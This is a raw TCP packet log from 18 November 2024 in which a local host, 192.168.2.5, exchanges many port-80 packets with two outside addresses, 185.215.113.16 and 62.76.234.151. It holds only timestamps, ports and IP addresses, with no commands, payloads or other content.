Nov 18, 2024 19:04:33.303563118 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.303582907 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.303611994 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.303612947 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.303647041 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.303673983 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.303682089 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.303702116 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.303752899 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.303765059 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.303797960 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.303811073 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.303832054 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.303842068 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.303868055 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.303878069 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.303911924 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.304030895 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.304064035 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.304116964 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.304161072 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.304207087 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.304229021 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.304265022 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.304277897 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.304327965 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.304377079 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.304410934 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.304433107 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.304445028 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.304461956 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.304480076 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.304496050 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.304523945 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.304620981 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.304652929 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.304672956 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.304686069 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.304703951 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.304722071 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.304735899 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.304816008 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.353724957 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.353764057 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.353800058 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.353836060 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.353852034 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.353893995 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.353897095 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.353930950 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.353941917 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.353971958 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.354079008 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.354113102 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.354125977 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.354146957 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.354156017 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.354182005 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.354191065 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.354226112 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.354237080 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.354269981 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.354284048 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.354306936 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.354314089 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.354341030 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.354346037 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.354374886 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.354384899 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.354410887 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.354420900 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.354446888 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.354456902 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.354490042 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.354813099 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.354856968 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.378211975 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.378290892 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.378329039 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.378374100 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.378381968 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.378418922 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.378427982 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.378452063 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.378453016 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.378475904 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.378489017 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.378499031 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.378523111 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.378561020 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.378572941 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.378606081 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.378727913 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.378762007 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.378774881 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.378807068 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.378817081 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.378846884 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.378864050 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.378881931 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.378886938 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.378916979 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.378926992 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.378953934 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.378959894 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.378989935 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.379002094 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.379043102 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.422218084 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.422252893 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.422288895 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.422333956 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.422343016 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.422367096 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.422379017 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.422399998 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.422414064 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.422422886 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.422461033 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.422466993 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.422502995 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.422516108 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.422548056 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.422560930 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.422607899 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.422616005 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.422650099 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.422660112 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.422686100 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.422693014 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.422720909 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.422729969 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.422766924 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.422904015 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.422938108 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.422971010 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.422971964 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.422977924 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.423007965 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.423016071 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.423046112 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.423053980 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.423080921 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.423091888 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.423116922 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.423125982 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.423156023 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.423216105 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.423264027 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.423270941 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.423306942 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.423319101 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.423363924 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.423415899 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.423449993 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.423464060 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.423485041 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.423492908 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.423526049 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.423612118 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.423645973 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.423656940 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.423681021 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.423690081 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.423716068 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.423727036 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.423760891 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.424395084 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.424446106 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.424479961 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.424504995 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.424513102 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.424539089 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.424547911 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.424570084 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.424583912 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.424593925 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.424628019 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.472634077 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.472714901 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.472744942 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.472770929 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.472770929 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.472825050 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.472827911 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.472871065 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.472882032 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.472917080 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.472922087 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.472966909 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.472970963 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.473006010 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.473030090 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.473038912 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.473050117 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.473083973 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.473092079 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.473145962 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.473198891 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.473232031 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.473267078 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.473299026 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.473335981 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.473417044 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.473463058 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.473484039 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.473496914 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.473511934 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.473532915 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.473546028 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.473575115 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.473756075 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.473792076 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.473844051 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.497016907 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.497055054 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.497108936 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.497108936 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.497143984 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.497159004 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.497179985 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.497188091 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.497216940 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.497227907 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.497253895 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.497262955 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.497289896 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.497303009 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.497328043 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.497344017 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.497364044 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.497375965 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.497406960 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.497452021 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.497487068 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.497500896 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.497523069 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.497529984 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.497560024 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.497575045 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.497600079 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.497629881 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.497663975 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.497677088 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.497838020 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.525350094 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.525387049 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.525420904 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.525465965 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:33.525595903 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.525630951 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.525665045 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.525688887 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:33.525724888 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:33.541407108 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.541460991 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.541465044 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.541503906 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.541524887 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.541573048 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.541579962 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.541616917 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.541646957 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.541666985 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.541702986 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.541735888 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.541764975 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.541764975 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.541770935 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.541800022 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.541806936 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.541831970 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.541841030 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.541851044 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.541872025 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.541904926 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.541913986 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.541939974 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.541949034 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.541981936 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.541994095 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.542028904 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.542061090 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.542078018 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.542098999 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.542107105 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.542134047 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.542143106 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.542167902 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.542172909 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.542201042 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.542203903 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.542238951 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.542243958 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.542275906 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.542290926 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.542309999 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.542319059 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.542372942 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.542406082 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.542418003 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.542439938 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.542448044 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.542474985 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.542484045 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.542517900 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.542531013 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.542579889 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.542593002 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.542628050 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.542634010 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.542661905 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.542673111 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.542696953 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.542706966 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.542733908 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.542735100 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.542773962 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.543215036 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.543248892 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.543260098 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.543283939 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.543296099 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.543323994 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.543375969 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.543410063 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.543421984 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.543443918 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.543454885 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.543481112 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.580784082 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.580801010 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.580817938 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.580871105 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.580873013 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:33.580915928 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:33.581794977 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.582340002 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.583486080 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:33.591562033 CET	80	49983	185.215.113.16	192.168.2.5
